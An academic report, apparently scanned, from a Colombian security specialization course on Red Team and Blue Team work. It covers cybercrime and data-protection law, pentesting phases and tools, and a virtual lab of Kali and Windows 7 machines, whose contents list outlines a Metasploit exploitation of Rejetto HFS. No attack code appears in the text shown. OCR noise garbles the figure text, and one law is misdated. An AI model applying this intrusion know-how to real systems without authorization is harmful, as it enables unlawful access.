CAPACIDADES TECNICAS, LEGALES Y DE GESTION PARA EQUIPOS
BLUE TEAM Y RED TEAM

VICTOR HUGO GIRON MICOLTA

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD
ESCUELA DE CIENCIAS BASICAS TECNOLOGIA E INGENIERIA ECBTI
ESPECIALIZACION EN SEGURIDAD INFORMATICA
SANTANDER DE QUILICHAO
2021



CAPACIDADES TECNICAS, LEGALES Y DE GESTION PARA EQUIPOS
BLUE TEAM Y RED TEAM

VICTOR HUGO GIRON MICOLTA

SEMINARIO ESPECIALIZADO: EQUIPOS ESTRATEGICOS EN
CIBERSEGURIDAD: RED TEAM & BLUE TEAM

JOHN FREDDY QUINTERO TAMAYO
DIRECTOR DE CURSO

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD
ESCUELA DE CIENCIAS BASICAS TECNOLOGIA E INGENIERIA ECBTI
ESPECIALIZACION EN SEGURIDAD INFORMATICA
SANTANDER DE QUILICHAO
2021



TABLA DE CONTENIDO

RESUMEN......cei ettt b et b e s he e b e s e b e sb et e sreeme e neseeenes 5
GLOSARIO ..ottt st b e et b e s bt et s bt e et e b e b e s b e e ae bt ne e s e re et e nreeneens 6
INTRODUGCCION. ...ttt sttt sttt ae e 9
L. OBUIETIVOS.. ..ottt 10
1.1. OBJETIVO GENERAL. .....ooo ittt e s 10
1.2. OBJETIVOS ESPECIFICOS......cco ottt sttt s s 10
2. DESARROLLO DEL INFORME .......cocoititiiitieneiteese e 11
2.1, MARGCO LEGAL. ..ottt st s e 11
2.2. PRUEBAS DE PENETRACION O PENTESTING. ....ccceooeiiirieeeeeieeereese e 13
2.3. HERRAMIENTAS DE CIBERSEGURIDAD. ......c.cootiiiirinieeneeeeieeeeeseee e 14
3. CONFIGQRACION DEL BANCO DE TRABAJO PARA LAS PRUEBAS DE
PENETRACION. ...ttt ettt sttt sttt st sb et s b e este bt sae et e sbeeasesbeemeenbesbeensenne 16
4. CONSIDERACIONES ETICAS. .ottt sttt st s 23
5. EJECUCION PRUEBAS DE INTRUSION. ....c.ccosirieieieieieeie et 24
6. CONTENCION DE ATAQUES INFORMATICOS. .....ovoiieieeeieieeiseeeieeeese e 42
7. ENLACE DEL VIDEO DE LA SOCIALIZACION. .....coooviveiiriieieriesis e, 45
CONCLUSIONES. ...t 46
RECOMENDACIONES. ...ttt s e 48

BIBLIOGRAFIA ..ottt st s et st r e e e e ne e e 49



TABLA DE FIGURAS

Figura 1: Panel de VirtualBOX. ... ..o
Figura 2: Acceso a la Maquina Kali LINUX...........ccooviiiiiiiiiiiee e,
Figura 3: Configuracion de tarjeta de red en Kali LinUX.............c.cooeviiiiiiinnnnnee.
Figura 4: Configuracion de tarjeta de red en Windows 7“wind7-SE2020"............
Figura 5: Comunicacion entre Windows 7“wind7-SE2020” y Kali Linux...............
Figura 6: Comunicacion entre Kali Linux y Windows 7“wind7-SE2020"...............
Figura 7: Configuracion de IP en Windows 7 “Win7-SE2020-X64".....................
Figura 8: Conexién de Windows 7 “Win7-SE2020-X64" y Kali LinuX...................
Figura 9: Consulta de la direccion IP de la maquina Kali Linux..........................

Figura 10: Consulta de la direccion IP de la maquina Windows 7 de 64 bits.........
Figura 11: Conexion de la maquina Windows 7 de 64 bits con Kali Linux............
Figura 12: Actualizacion de los paquetes de Kali LinuX.............ccoooviiiiiiinnnnn.
Figura 13: Caracteristicas técnicas de la maquina de Kali Linux........................
Figura 14: Caracteristicas técnicas de la maquina de Windows 7 de 64 bits........
Figura 15: Descarga de la aplicacion “rejettov. 23"
Figura 16: Aplicacion “rejetto v. 2.3” instalada en Windows 7 de 64 bits..............
Figura 17: Escaneo de puertos de la maquina Windows 7 de 64 bits..................
Figura 18: Ejecucion de la aplicacion “rejetto v. 2.3” en Windows 7 de 64 bits......
Figura 19: Creacion de usuario administrador en Windows 7 de 64 bits..............
Figura 20: Firewall detenido en Windows 7 de 64 bits..............coooviiiiiiiiinn..
Figura 21: Creacion de usuario en Kali LiNUX..........coooiiiiiiiiiiiiiieee e
Figura 22: Elevacion de privilegios al usuario creado en Kali Linux....................
Figura 23: Escaneo de puertos en la maquina Windows 7 de 64 bits, desde Kali

T
Figura 24: Ingreso a la consola de Metasploit..............cccooiiiiiiiiiiiii e,
Figura 25: Ingreso a la consola de Metasploit............cooiiiiiiiiiiiiie,
Figura 26: Busqueda de “rejetto v. 2.37. ... .. i
Figura 27: Seleccion de “rejetto v. 2.37. ...,
Figura 28: Variables del Metasploit......... ..o
Figura 29: Explotacion de la vulnerabilidad.................c.ooooiiiiiii
Figura 30: Resultado de la explotaciéon en Windows 7 de 64 bits.......................
Figura 31: Usuarios y equipos de active direCtory..........c.cooeieieiiiineiiiinieenans

Figura 32:

Creacion de politicas de dominio...........ccceiiiiiiiiiiiiieeea

25
25
26
27
27
28
28
29
30
30
31
32
33

34

35
35
36
37
38
39
40
42
43



RESUMEN

El avance que ha experimentado el sector informatico en el transcurrir de los afios
ha sido exponencial, con el tiempo se puede determinar que las nuevas tecnologias
de la informacion cada vez se insertan en los procesos de desarrollo 0 servicios
dentro de las empresas para brindar un mejor servicio a toda una sociedad que
busca satisfacer algun tipo de necesidad. Este tipo de necesidad son las que las
compafiias buscan analizar dentro de su comunidad para poder llegar de una forma
clara y directa sin afectar sus principios, los cuales distinguen a la compafiia, y para
esto, se cifien a normas y leyes que hacen que sus procesos tengan un cambio para
bien, tanto para la misma compafiia como para sus clientes.

En este caso los cambios vienen a reflejarse en el manejo de la informacioén y los
activos internos, los cuales hacen que una compafiia tenga una identidad y también
una buena funcionalidad en el sector en el que se desenvuelve, con esto logra tener
un buen control de la informacién que es utilizada para bien de la misma compaifiia.
Al hablar sobre la seguridad de la informacion, la cual es esencial y que estd como
norma o proceso necesario para aplicarlo dentro de la organizacion fortaleciendo
de esta manera la misma, brindando estandares de seguridad a la informacién, esta
hace referencia a la forma de cémo organizar y dar tratamiento a los datos, con ella
se determinan los activos importantes que hay que proteger, las vulnerabilidades en
gue pueden estos activos verse involucrados en determinado momento y las
amenazas que conllevan.

Es por esta razon de que existen formas de llevar a cabo la proteccion de la
informacion organizacional, este es el caso de los equipos Red Team y Blue Team,
los cuales desempefan roles diferentes en el proceso de salvaguardar la
informacion, el Rea Team lleva a cabo de forma controla todo lo relacionado a
ataques simulados, pruebas de instruccién a los sistemas con el Unico fin de
encontrar posibles fallas, vulnerabilidades y de esta manera implementar posibles
soluciones al tipo de vulnerabilidad encontrada. Ahora el complemento de este
equipo es el Blue Team el cual tiene como funcion implementar las medidas de
defensas que hagan que blinden al sistema de posibles riesgos, y lo lleva a cabo
haciendo vigilancia constante del sistema revisando los procesos que salen de él,
de esta manera se busca tener control general de la infraestructura tecnologica.



GLOSARIO

Analisis de riesgos: El proceso de andlisis y gestion de riesgos es uno de los
elementos mas importantes constituidos dentro del Sistema de Gestion de la
Seguridad de la informacion por cuanto este analisis constituye una metodologia
para obtener la informacion sobre las vulnerabilidades, amenazas y los riesgos que
forman el conjunto de elementos que crean el campo de falencias de la seguridad
de la informéticat!

Probabilidad: Para determinar la probabilidad de ocurrencia es posible de la forma
cualitativa o cuantitativamente, considerando que la medida no debe contemplar la
existencia de acciones de control.

Amenazas: Son acciones que pueden generar consecuencias negativas en la
operacion de la organizacion. Se referencian como amenazas a las fallas, los
ingresos no autorizados, los virus, los desastres ocasionados por fenémenos
naturales o ambientales, etc.

Vulnerabilidades: Son ciertas condiciones a las que se exponen los activos, estan
presentes en su entorno, facilitan que las amenazas se materialicen y se conviertan
en vulnerabilidad.

Activos: Los activos en tecnologia, es todos lo relacionado con los sistemas de
informacion, las redes las, comunicaciones y la informacion en si misma.

Impactos: Son las consecuencias de la materializacion de las distintas amenazas
y los dafios que éstas puedan causar. Las pérdidas generadas pueden ser
financieras, tecnoldgicas, fisicas, entre otras.

Diagnostico e identificacion de los riesgos: Este proceso surge de la utilizacion
de las herramientas o las metodologias apropiadas en las cuales se pueden
encontrar la forma metddica para efectuar el analisis en base a la organizacion en
la que se pretenda analisis en este sentido se tienen en cuenta tres variables
fundamentales sobre las cuales se basa la operaciéon de andlisis: activos, las
amenazas Y las vulnerabilidades son el objeto para identificar los riesgos, dado que
una brecha no detectada permite la entrada al sistema de posibles amenazas.?

Seguridad Informética: Comprende las caracteristicas, condiciones y parametros
de los sistemas de procesamiento de informacion para su almacenamiento
administracion y gestion, garantizando su confidencialidad, integridad vy
disponibilidad. Considerar las caracteristicas de seguridad informatica significa
conocer el riesgo clasificarlo y protegerse de los ataques y dafios de la mejor forma

1 Universidad nacional abierta y a distancia, Mirian del Carmen Benavides, Francisco Solarte. (2012). Mddulo
riesgos y control informdtico. Bogota: Datatela UNAD.

2 GOMEZ, R. D. (2010). Metodologia y gobierno de la gestién de riesgos de tecnologias de la informacién.
Revista de Ingenieria.



posible. Esto quiere decir que solamente cuando se conocen las potenciales
amenazas, agresores y sus diferentes intenciones dafinas que pueden ser directas
o indirectas en contra de un sistema 0 una organizacion, se puede adoptar las
medidas de proteccion adecuadas, para que no se vulneren los recursos de
informacion valiosos. En otros conceptos representa el conjunto de medios y
técnicas implementados para asegurar la integridad y que no se difundan
involuntariamente los datos que recorren el sistema de informacién.?

Pilares de la seguridad Informatica: Se busca proteger en la informacién, son los
cuatro pilares importantes que conlleva a que la informacion sea resguardada a gran
escala. A continuacion, se especifican en su orden:

Confidencialidad: La informacion sélo puede y debe ser accedida, utilizada y
gestionada por el personal de la empresa que ha obtenido la autorizacion para
hacerlo. Se considera que este tipo de informacion no debe ser revelada a personal
ajeno, ni debe ser publica, por lo tanto, debe ser protegida por su razon de sery sus
caracteristicas.*

Integridad: Se refiere al momento en que la informacion de ninguna forma ha sido
borrada, copiada o modificada, es decir, cuando se conserva tal como fue creada o
enviada desde cualquier medio desde su origen hacia su destino. Un ataque a la
integridad de la informacion se puede presentar en archivos planos de bases de
datos, informacion documental, registros de datos, etc.®

Disponibilidad: Tiene que ver con que la informacion facilitada en cualquier medio
digital o software se encuentre a disposicion de un usuario autorizado para el
procesamiento de los datos, para el correcto funcionamiento de una organizacion,
asi como de sus clientes o personal requerido sin que estos sean afectados.®

Autenticidad: Este pilar se define aquella informacién legitima, que, al ser
interceptada, puede ser copiada de su formato original a pesar de que la informacion
sea idéntica.’

Equipo Blue Team: Expertos en seguridad informética que buscan defender a
entidades de ataques realizados por delincuentes cibernéticos.

3 RAULT, A. -M.-S.-N.-R.-F.-J.-5.-D.-R. (2010). Seguridadinformatica - Ethical Hacking. Ediciones ENI.

4 Confidencialidad.
https://books.google.es/books?id=Mgvm3AYIT64C&dqg=integridad+seguridad+informatica&Ir=&hl=es&sour
ce=gbs_navlinks_

5> Integridad. Seguridad informética. Autor: Purificacién Aguilera Lépez.Editex, 2010 - 240 paginas.
https://books.google.es/books?id=Mgvm3AYIT64C&dqg=integridad+seguridad+informatica&Ir=&hl=es&sour
ce=gbs_navlinks_

6 Disponibilidad. Seguridad informética. Autor: Purificacién Aguilera Lépez.Editex, 2010 - 240 paginas.
https://books.google.es/books?id=Mgvm3AYIT64C&dg=integridad+seguridad+informatica&Ir=&hl=es&sour
ce=gbs_navlinks_

7 Autenticidad. http://redyseguridad.fi-p.unam.mx/proyectos/seguridad/ServAutenticacion.php



Equipo Red Team: Expertos en seguridad informatica, que se dedican a simular
ataques controlados a los sistemas para la explotacion de vulnerabilidades y saber
como contrarrestarlos.



INTRODUCCION.

La seguridad de los bienes informaticos se ha convertido en algo primordial hoy en
dia, el avance de la tecnologia estd acompafado de una serie de riesgos o
amenazas que pueden ser detectados y reducidos mediante una buena
implementacion en la seguridad de la informacién, ya que estos se pueden
determinar mediante planteamientos y analisis de riesgo, como qué tipo de
informacion debemos proteger, de qué la protegemos, cuédles son las posibles
amenazas, implementacion de medidas de control y mecanismos que protejan la
informacion, sin que estas acciones incrementen los gastos, su efectividad sera
medible en el seguimiento realizado cada vez que sea encontrada una debilidad.

Cada vez las organizaciones buscan la forma, la manera de proteger sus activos,
se han dado cuenta de que hoy en dia la informacion que ellas manejan juegan un
papel fundamental en el ciclo de vida de la misma compafiia y de su reputacion, y
en estos tiempos alin mas ya que el crecimiento de la tecnologia a nivel mundial ha
hecho que pequefias empresas incursionen en el mundo tecnolégico, y deben
entender que para un buen manejo de la tecnologia hay que también saber
protegerse de un medio el cual es nuevo para muchas de ellas.

Ahora bien, dentro de las organizaciones deben contar con los recursos necesarios,
personal idoneo en el manejo de riesgos y vulnerabilidades cibernéticas, politicas y
procedimientos que determinen un buen manejo de riesgos sobre sus activos de
informacion, el contar con esto ayuda a darle mejor estabilidad a las compafias con
respecto a sus funciones operativas, logrando que no sufra mucho dafio al momento
gue ocurra un determinado ataque cibernético, y sobre todo que el abordar estos
incidentes se hagan de una manera rapida pues para las organizaciones el tiempo
es prioridad para que sus operaciones no se detengan y puedan seguir prestando
sus servicios de acuerdo a su entorno de mercado.



1. OBJETIVOS.

1.1. OBJETIVO GENERAL

e Realizar un informe técnico en el cual se muestren las estrategias para el
andlisis de riesgos y vulnerabilidades en una infraestructura tecnologica
planteas en las etapas del Seminario Especializado, Equipos Estratégicos en
Ciberseguridad: Red Team & Blue Team Cdédigo: 202337164.

1.2. OBJETIVOS ESPECIFICOS

e Evaluar las acciones de los equipos Red Team & Blue Team de una
organizacion en el marco de los criterios éticos y legales.

e Realizar un andlisis de las implicaciones éticas y dilemas morales.

e Demostrar vulnerabilidades en un sistema informético a partir del uso de
metodologias y técnicas de intrusion.

e Formular estrategias de contencion mediante el andlisis de riesgos y
vulnerabilidades en una infraestructura TI.
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2. DESARROLLO DEL INFORME
2.1. MARCO LEGAL.

Consultando la documentacion que existe en nuestro pais con respecto a las leyes
de la seguridad de la informacién y proteccién de esta, podemos mencionar que
existen distintos articulos que hacen referencia a la proteccion de la informacion en
el campo de las telecomunicaciones, en este citamos algunos de los articulos que
hacen mencion a ello y que se encuentran en la legislacion y normatividad de la Ley
No. 1273 del 5 de enero de 2019 "POR MEDIO DE LA CUAL SE MODIFICA EL
CODIGO PENAL, SE CREA UN NUEVO BIEN JURIDICO TUTELADO -
DENOMINADO "DE LA PROTECCION DE LA INFORMACION Y DE LOS DATOS"
Y SE PRESERVAN INTEGRALMENTE LOS SISTEMAS QUE UTILICEN LAS
TECNOLOGIAS DE LA INFORMACION Y LAS COMUNICACIONES, ENTRE
OTRAS DISPOSICIONES". Este es una de tantas leyes que existen y que nos
ayuda a realizar un control en cuanto al tréfico de informacion digital.

En ella se mencionan varios articulos que pueden ser aplicar en la alteracion de
informacién, manipulacién y distribucion de datos confidenciales. Teniendo presente
lo anterior y las personas que realicen practicas indebidas con la manipulacién de
informacion perteneciente a entidades publicas o privadas le podrian aplicar los
siguientes articulos contenidos en la Ley No. 1273 del 5 de enero de 2019 y los
cuales son:

ARTICULO 269A: ACCESO ABUSIVO A UN SISTEMA INFORMATICO. El que, sin
autorizacion o por fuera de lo acordado, acceda en todo o en parte a un sistema
informético protegido o no con una medida de seguridad, o se mantenga dentro del
mismo en contra de la voluntad de quien tenga el legitimo derecho a excluirlo,
incurrira en pena de prision de cuarenta y ocho (48) a noventa y seis (96) meses y
en multa de 100 a 1000 salarios minimos legales mensuales vigentes.

ARTICULO 269D: DANO INFORMATICO. El que, sin estar facultado para ello,
destruya, dafie, borre, deteriore, altere o suprima datos informaticos, o un sistema
de tratamiento de informacion o sus partes o componentes légicos, incurrira en pena
de prision de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a
1000 salarios minimos legales mensuales vigentes.

ARTICULO 269F: VIOLACION DE DATOS PERSONALES. El que, sin estar
facultado para ello, con provecho propio o de un tercero, obtenga, compile,
sustraiga, ofrezca, venda, intercambie, envie, compre, intercepte, divulgue,
modifiqgue o emplee codigos personales, datos personales contenidos en ficheros,
archivos, bases de datos o medios semejantes, incurrira en pena de prision de
cuarenta y cho (48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios
minimos legales mensuales vigentes.
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Ahora demos un vistazo al DECRETO 1377 DE 2013, Ley1581 de 20122, es una
ley que se promulgo el 27 de junio de 2013 y que propende en todo lo relacionado
con la proteccién de los datos personales de los individuos de nuestro pais, en ella
se establecen distintas facetas que tienen que ver con los datos, como estos se
procesaran o manejaran por entidades publicas o privadas, saber qué tipo de
informacion serd publica o en su defecto no se podra manipular o debera tener
permiso para ello.

Esta ley es tan importante que es por medio de ella en la que nosotros los individuos
podremos estar enterado de que es lo hacen con nuestros datos, cual es la
manipulacion de estos, que se hacen con ellos y como es la forma en que estos son
recolectados. Si logramos ver, todas las entidades que incursionan en el mundo
digital, sus sistemas de manipulacion y tratamiento de informacion estan puestos en
los sistemas virtuales, que hoy son el dia a dia de las instituciones y por donde, en
muchas ocasiones llegan a las personas y es por ello se debe tener presente todas
estas leyes, articulos que en ella se encuentran para que de esta forma sepamos
darle importancia a los datos privados y publicos, sepamos en qué momento son
propio su tratamiento.

A continuacién, se mencionan algunos articulos que son importantes tener muy
presentes para el manejo de la informacion personal:

Articulo 3°. Definiciones. Ademas de las definiciones establecidas en el articulo 3°
de la Ley 1581 de 2012, para los efectos del presente decreto se entendera por:

1. Aviso de privacidad: Comunicacién verbal o escrita generada por el responsable,
dirigida al Titular para el Tratamiento de sus datos personales, mediante la cual se
le informa acerca de la existencia de las politicas de Tratamiento de informacion
gue le seran aplicables, la forma de acceder a las mismas y las finalidades del
Tratamiento que se pretende dar a los datos personales.

2. Dato publico: Es el dato que no sea semiprivado, privado o sensible. Son
considerados datos publicos, entre otros, los datos relativos al estado civil de las
personas, a su profesion u oficio y a su calidad de comerciante o de servidor publico.
Por su naturaleza, los datos publicos pueden estar contenidos, entre otros, en
registros publicos, documentos publicos, gacetas y boletines oficiales y sentencias
judiciales debidamente ejecutoriadas que no estén sometidas a reserva.

3. Datos sensibles: Se entiende por datos sensibles aquellos que afectan la
intimidad del Titular o cuyo uso indebido puede generar su discriminacion, tales
como aguellos que revelen el origen racial o étnico, la orientacion politica, las
convicciones religiosas o filosoéficas, la pertenencia a sindicatos, organizaciones
sociales, de derechos humanos o que promueva intereses de cualquier partido
politico o que garanticen los derechos y garantias de partidos politicos de oposicion,
asi como los datos relativos a la salud, a la vida sexual, y los datos biomeétricos.
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4. Transferencia: La transferencia de datos tiene lugar cuando el responsable y/o
Encargado del Tratamiento de datos personales, ubicado en Colombia, envia la
informacion o los datos personales a un receptor, que a su vez es Responsable del
Tratamiento y se encuentra dentro o fuera del pais.

5. Transmision: Tratamiento de datos personales que implica la comunicacion de
estos dentro o fuera del territorio de la Republica de Colombia cuando tenga por
objeto la realizacion de un Tratamiento por el Encargado por cuenta del
responsable.

Articulo 4°. Recoleccién de los datos personales. En desarrollo de los principios de
finalidad y libertad, la recoleccion de datos debera limitarse a aquellos datos
personales que son pertinentes y adecuados para la finalidad para la cual son
recolectados o requeridos conforme a la normatividad vigente. Salvo en los casos
expresamente previstos en la ley, no se podran recolectar datos personales sin
autorizacion del Titular

Articulo 5°. Autorizacién. El responsable del Tratamiento deberd adoptar
procedimientos para solicitar, a mas tardar en el momento de la recoleccion de sus
datos, la autorizacion del Titular para el Tratamiento de estos e informarle los datos
personales que seran recolectados, asi como todas las finalidades especificas del
Tratamiento para las cuales se obtiene el consentimiento.

2.2. PRUEBAS DE PENETRACION O PENTESTING.

Revisando un poco lo que permite el sistema de Pentesting vemos que nos sirve
para realizar un ataque controlado dentro de un sistema de redes de informética, al
cual le necesitamos revisar si existen vulnerabilidades o se puedan presentar, de
esta forma sabremos cdmo se comportan dichos sistemas, como podrian ser
atacados, y como podriamos defendernos. Las etapas que nos muestra esta técnica
son pertinentes para abordar dicho ataque simulado y las cuales vamos a describir
a continuacion:

- Etapa de informacién: Esta es la etapa inicial de proceso de simulacro, en
la que se tiene relacion con el personal de la empresa, quien nos proveera
la informacion necesaria para la prueba, en ella se definira el alcance que
va a tener, que procesos del sistema se van a revisar, que equipos,
direcciones o rangos de IP.

- Etapa de busqueda de vulnerabilidades: En esta etapa se verifica de
acuerdo con la informacién que se obtuvo, por donde se pueden presentar
las vulnerabilidades dentro del sistema, cuales procesos estan mas
expuestos a ello y asi poder tomar medidas claras y efectivas. Por

13



2.3.

ejemplo, se puede presentar fallos en como los usuarios utilizan los
servicios de autenticacion en las aplicaciones de la organizacion.

Etapa de explotacion de vulnerabilidades: Aqui es donde se ejecutan
ciertas aplicaciones dentro de los sistemas de informacion de la
organizacion, en las que se ponen a pruebas las vulnerabilidades
encontradas, con ello se podra determinar si por ejemplo hay sistemas
que no cuentan con sistema de Login, seria una identificacién de
vulnerabilidad del sistema.

Etapa de Post-explotacion: Una vez explotadas las vulnerabilidades en
esta etapa se busca llegar mas afondo mas lejos dentro del mismo
sistema, pero siempre y cuando se cuente con los privilegios necesarios
para ello y se tenga los permisos.

Etapa del Informe: En la etapa final es donde se documenta todo lo
realizado en el proceso realizado dentro de la organizacién en la
blusqueda de vulnerabilidades y su puesta a prueba, se identifican y se da
el resultado final, en dicho informe se especifican cuéles son las
vulnerabilidades mas criticas, como se deben tratar para asi poder
corregirlas y que el sistema de dicha empresa no se vea afectado en un
futuro, se muestra también cuales tienen un buen sistema de seguridad.

HERRAMIENTAS DE CIBERSEGURIDAD.

- Metasploit: Es una herramienta con la cual se puede llegar a identificar
los posibles fallos de un sistema, permite la explotacion de
vulnerabilidades, que tan grabe es dicha vulnerabilidad y muestra lo
expuesto que estaria un sistema, se puede llegar a robar informacion
por medio de esta herramienta, interrumpir software como lo es un
antivirus entre otras opciones.

- Nmap: Es una herramienta que permite el andlisis de un sistema de
red, en la cual se llega obtener informacién como lo es que equipos
estan conectados, que puertos se encuentran abiertos, direcciones IP
p MAC, se puede determinar los servicios que estan corriendo y cuales
pueden ser afectados en un ataque.

- OpenVas: Es un paquete de software el cual cuenta con distintas
herramientas con las cuales se llega a analizar un sistema de red de
datos, conocer puertos abiertos, distintas vulnerabilidades, que
aplicaciones estan activas.
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Servicios en linea:

ExploitDB: Este es un servicio en donde mucha gente interesada en
la seguridad de la informacion con respecto a las vulnerabilidades de
los sistemas socializa dichas vulnerabilidades para luego si alguien
desea instruirse en ella lo puede hacer.

CVE: Es un sistema web en el cual se almacena y codifica todas las
fallas y vulnerabilidades que se presentan en el campo de la
informéatica, en este lo que se hace es codificar dichas fallas para asi
tenerlas identificadas y poder saber de una forma muchas mas rapida
el tipo de vulnerabilidad que se esta tratando por parte del personal de
seguridad.

Estos dos servicios en linea o dentro de web son muy importantes, ya
gue con ellos se pude estar documentando constantemente de las
vulnerabilidades que aparecen dia a dia en los sistemas informaticos,
nos brindan una guia de como tratarlos, algo muy importante es que
esto se deberia realizar con el &nimo de hacer el bien no para dafiar
la idea es ayudarnos para asi fortalecer los sistemas que manejemos
en un futuro, pues debido a la facilidad de conseguir la informacion le
mente en ocasiones de las personas cambian de rumbo cuando se
despierta la maldad y mas adn cuando se tiene alguna recompensa
por delante.
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3. CONFIGURACION DEL BANCO DE TRABAJO PARA LAS PRUEBAS DE
PENETRACION.

Figura 1: Panel de VirtualBox.

¥ Oracle VM VirtualBox Administrador

Archive  Maquina  Ayuda

[=] Previsualizacién

Win7-5E2020-X64
Windows 7 (64-bit)

rativo:
ES[ Seg. DB
[ s
4096 M8 Win7-SE2020-X64
et Optica, Disco duro
VT-x/AMD-Y, Paginacitn aridada, Faravirtuslizacién Hyper-/

18MB

VBOXSVGA

rio remoto: - Inhabiltado
Inhabiitado

iento

[T win7-SE2020
T

AD:  Vin7-SE2020-(64-disk00 L vei (Normal, 50,00 GE)
Al [Unidad Gptical Vaco

o Audio
Controlader de anfitrién:  Windows DirectSound
Controlador: Audio Intel HD

&P Red
Adaptador 1: Intel PRO/1000 MT Desktop (NAT)
£ usB

Controlader USB: OHCI
Filtros de dispositivos: 0 (0 activa)

[l carpetas compartidas

H O Escribe aqui para buscar

Fuente: Propiedad del autor.

O E MmO EmOSEOY - 4)

Se inicia la maquina de Kali Linux, en este caso inicio una maquina la cual
descargue la imagen ISO (kali-linux-2019.3-amd64), ya que la que se nos dieron
para el diplomado esta solicita un usuario y contrasefia el cual no lo tengo en él
momento, por esta razon instale otra maquina de Kali Linux para demostrar la
comunicacién con las otras maquinas de Windows 7.
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Figura 2: Acceso a la Maguina Kali Linux.

2 Kali_Linux [Corriendo] - Oracle VM VirtualBox - X
Archivo Maquina Ver Entrada Dispositivos  Ayuda

Cancelar Desbloquear

(&2 & B8 G ® @) creoerecta

H P Escribe aqui para buscar

Fuente: Propiedad del autor.

Se acceden a las configuraciones de red de la maquina de Kali Linux y asignamos
de forma manual la direccion IP: 192.168.1.27
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Figura 3: Configuracion de tarjeta de red en Kali Linux.

) Kali_Linux [Corriendo] - Oracle VM VirtualBox
Archivo Maquina Ver Entrada Dispositivos  Ayuda

Aplicaciones ¥ Lugares v  [J Terminal v jue, 02 de sep, 17:05
root@victor: ~

Archivo Editar Ver Buscar Terminal Ayuda
GNU nano 4.3 /etc/network/interfaces

. source /etc/network/interfaces.d/*

3

s auto lo
iface lo inet loopback
L allow-hotplug etho
iface etho inet static
address 192.168.1.27

netmask 255.255.255.0
gateway 192.168.1.1

[ 18 lineas leidas ]
Guardar @l Buscar B Cortar txtgll Justific Posicién
g Leer fich. @\ Reemplazarglll Pegar txt ] Ortograf Ir a linea

B & o E 8@ @ croereca
- " p < ma = 505 p. m.
H A Escribe aqui para buscar : (5 *7 v ¥ A |z PO e B

Fuente: Propiedad del autor.

Ahora se inicia la maquina de Windows 7 “wind7-SE2020” y asignamos también una
direccion IP de forma estatica la cual sera la 192.168.1.28
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Figura 4: Configuracion de tarjeta de red en Windows 7“wind7-SE2020”.
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. consultar con el administrador de red cudl es la configuracién 1P
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VPN; o bieny () Obtener una dreccién P autométicamente
LT @ Usar | te direccién IP:
_— il @ Usar I3 siguiente drecdén IP:
Conectarse “ &
LS Conectarse|  Sc: Direccién IP: 192.168. 1 . 28
telefonico [ 3 X
5 aB Méscars de subred: 255,255 .255 . 0
- sl ]a Elegir grups | Puerta de enlace predeterminada: 192°::168:54 % 3
Firewall de Windows Obtener ac [N
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BERDEs [ Solucionar =
N i i Descripei Servidor DNS preferido:
Protocol Servidor DNS altemativo:
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redes o
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L — v
& O | B 3] @ @) cre bReca
2 = @ m,
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Fuente: Propiedad del autor.

Realizamos un ping para establecer comunicacion entre estas dos maquinas,
primero desde Windows 7 y luego desde Kali Linux.

19



Figura 5: Comunicacion entre Windows 7“wind7-SE2020” y Kali Linux.

B win7-5£2020 [Corriendo] - Oracle VM VirtualBox - X
Archivo  Maquina Ver Entrada  Dispositivos Ayuda
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Fuente: Propiedad del autor.
Desde Kali Linux:

Figura 6: Comunicacion entre Kali Linux y Windows 7“wind7-SE2020”.

2 Kali_Linux [Corriendo] - Oracle VM VirtualBox - X
Archivo  Maquina Ver Entrada Dispositivos  Ayuda

Aplicaciones ¥ Lugares v Terminal v sab, 28 de ago, 12:32
root@victor: ~
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:~# ping 192.168.1.28
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64 bytes from 192.168. icmp_seg=1 tt 2
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b
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X
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1
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.1

L
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bytes from .168.
bytes from .168.
4 54 bytes from 192.168.
bytes from .168.
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icmp_se
icmp_seq=18 tt1=128 time=0.

192.168.1.28 ping statistics ---
packets transmitted, 18 received, 0% packet loss, time 17414ms
rtt min/avg/max/mdev = ©.369/60.566/0.740/0.100 ms
i

& O Bl O] @ @ cre oerecia

. 1232p.
H R Escribe aqui para buscar P anj0s/2021

Fuente: Propiedad del autor.

Abrimos la segunda maquina que tiene instalado el sistema operativo Windows 7
“Win7-SE2020-X64”, y le asignamos la direccién IP 192.168.1.29.
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Figura 7: Configuracion de IP en Windows 7 “Win7-SE2020-X64"
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Fuente: Propiedad del autor.
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Firewall de Windows

de problemas.

Se realiza el proceso de conexidn de esta maquina virtual Win7-SE2020-X64 con la
maquina de Kali Linux por medio de un ping.
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Figura 8: Conexion de Windows 7 “Win7-SE2020-X64” y Kali Linux.

[ Win7-5£2020-X64 [Corriendo] - Oracle VM VirtualBox - X
Archivo Maquina Ver Entrada  Dispositivos  Ayuda

8 0 e ' “OROm

H L Escribe aqui para buscar i - 2 8C A ®m T ) b ESP

Fuente: Propiedad del autor.

De esta forma se evidencia que hay conexién entre las tres maquinas virtuales Kali Linux y
las de Windows 7 “wind7-SE2020” y “Win7-SE2020-X64".
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4. CONSIDERACIONES ETICAS.

El codigo de ética para ingenieros es muy claro en todas sus clausulas para el
ejercicio del cumplimiento de las funciones de un ingeniero en determinada empresa
sea publica o privada, y si lo detallamos en su totalidad se logra ver que aceptar ese
empleo con “The WhiteHouse”. En el siguiente Articulo 34 del cédigo de ética es
muy claro lo que dice, que sin duda al leerlo nos dice que actuar de manera
trasparente ante los cargos adquiridos es un deber y que no debe estar primero el
interés propio al del beneficio de toda una sociedad. SARTICULO 34.
PROHIBICIONES ESPECIALES A LOS PROFESIONALES RESPECTO DE LA
SOCIEDAD. Son prohibiciones especiales a los profesionales respecto de la
sociedad: a) Ofrecer o aceptar trabajos en contra de las disposiciones legales
vigentes, 0 aceptar tareas que excedan la incumbencia que le otorga su titulo y su
propia preparacion.

8 Copnia. (2015). Cédigo de Etica para el ejercicio de la Ingenieria en general y sus profesiones afines y
auxiliares. Copnia. (pp. 3-26). Consultado el 27 de agosto de 2021. Disponible en:
https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica
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5. EJECUCION PRUEBAS DE INTRUSION.

Para determinar conexion de las maquinas virtuales de Kali Linux con la de Windows
7 verificamos las direcciones IP que estén en la mi red de datos. La maquina de Kali
Linux tiene la IP: 192.168.1.27

Figura 9: Consulta de la direccion IP de la maquina Kali Linux.

f 1f:4101 prefixle
t

Navegador
web

‘ >

0 & £ |15 i 9] @ 3 TR oerecra

- . 0 AER 456p.m.

